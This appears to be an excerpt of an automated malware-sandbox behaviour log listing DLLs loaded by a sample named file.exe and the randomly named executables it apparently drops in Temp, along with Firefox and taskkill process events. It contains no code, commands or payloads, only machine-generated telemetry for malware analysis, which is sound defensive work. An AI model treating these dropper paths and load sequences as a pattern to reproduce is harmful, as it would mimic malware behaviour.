Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
